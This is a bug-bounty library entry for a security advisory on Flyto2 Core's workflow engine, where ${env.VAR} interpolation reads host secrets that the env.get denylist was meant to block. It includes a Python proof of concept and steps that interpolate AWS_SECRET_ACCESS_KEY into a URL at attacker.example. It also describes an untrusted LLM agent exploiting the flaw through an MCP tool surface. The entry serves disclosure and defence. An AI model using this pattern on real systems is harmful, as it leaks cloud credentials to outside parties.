# Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

Flyto2 Core's ${env.VAR} interpolation reads any host env secret despite env.get being denylisted, letting untrusted workflows exfiltrate cloud keys.

- Payout: Research
- Severity: high
- Program: Flyto2 Core
- Found by: kaimandalic
- Disclosed: 2026-07-30
- CVE: CVE-2026-67427
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hr7p-wg7r-hg9m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hr7p-wg7r-hg9m
- Tags: area:ai domain:ai domain:api impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:secrets-leak

**Target:** workflow engine variable resolver / hosted API and MCP tool surface
**Root cause:** Module policy gates module execution at BaseModule.run, but ${env.VAR} interpolation happens earlier in VariableResolver.resolve and calls os.getenv with no allowlist or policy check, so denylisting env.get does not block env reads.
**Steps:**
1. Set a secret env var, e.g. `os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-..."`.
2. Confirm `module_filter.is_allowed("env.get")` returns False.
3. Instantiate `VariableResolver(params={}, context={})` and call `r.resolve("${env.AWS_SECRET_ACCESS_KEY}")` — returns the secret.
4. Interpolate into an outbound URL: `r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}")`.
5. Via API: `POST /v1/workflow/run` with a step `text: "${env.AWS_SECRET_ACCESS_KEY}"` returns the secret in plaintext in the workflow result.
**How found:** Noticed the vendor denylists env.get with an inline rationale about secret exfil, then checked whether the engine's ${...} interpolation path enforces the same policy — it runs before module policy and calls os.getenv directly.
**Exploitation:** An untrusted workflow/agent (LLM via MCP tool surface or hosted-API client) supplies a step parameter containing `${env.SECRET}`; the resolver expands it to the host secret, which is then placed into an outbound request to an attacker-controlled public host allowed by the SSRF guard, exfiltrating cloud keys, tokens or DSNs.
**Escalation:** Chained with any allowed outbound module (SSRF guard permits attacker's public host) to turn a read primitive into exfiltration; also leaked in plaintext via workflow result despite trace redaction.
**Insight:** When a platform denylists a capability module, audit every other code path that reaches the same primitive (template/interpolation resolvers, expression evaluators, config loaders) — policy enforced at module dispatch rarely covers pre-execution interpolation.

## Proof of concept (copied exactly from the original report)

**PoC script resolving env secret via interpolation**

```
#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver

print("env.get allowed?       ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL:  ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))
```

